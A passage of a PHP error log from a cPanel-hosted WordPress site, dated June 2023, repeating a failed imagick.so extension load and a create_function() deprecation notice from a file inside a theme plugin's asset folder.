'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:28:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:29:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:29:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:29:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:29:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:30:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:30:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:34:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:34:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:34:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:34:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:34:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:34:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:35:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:35:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:35:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:35:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:35:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:35:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:36:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:36:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:36:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:36:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:36:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:36:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:37:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:37:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:37:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:37:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:37:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:37:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:37:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:37:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:38:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:38:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:38:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:38:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:38:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:38:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:39:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:39:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:39:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:39:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:39:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:39:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:39:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:39:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:40:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:40:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:40:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:40:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:40:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:40:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:41:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:41:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:41:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:41:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:42:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:42:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:42:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:42:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:42:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:42:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:43:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:43:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:44:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:44:01 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:44:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:44:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:45:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:45:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:45:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:45:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:45:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:45:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:46:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:46:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 00:41:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 00:41:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 01:42:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 01:42:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 02:43:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 02:43:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 03:43:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 03:43:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 04:44:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 04:44:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 05:45:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 05:45:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:26:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:26:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:26:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:26:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:27:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so 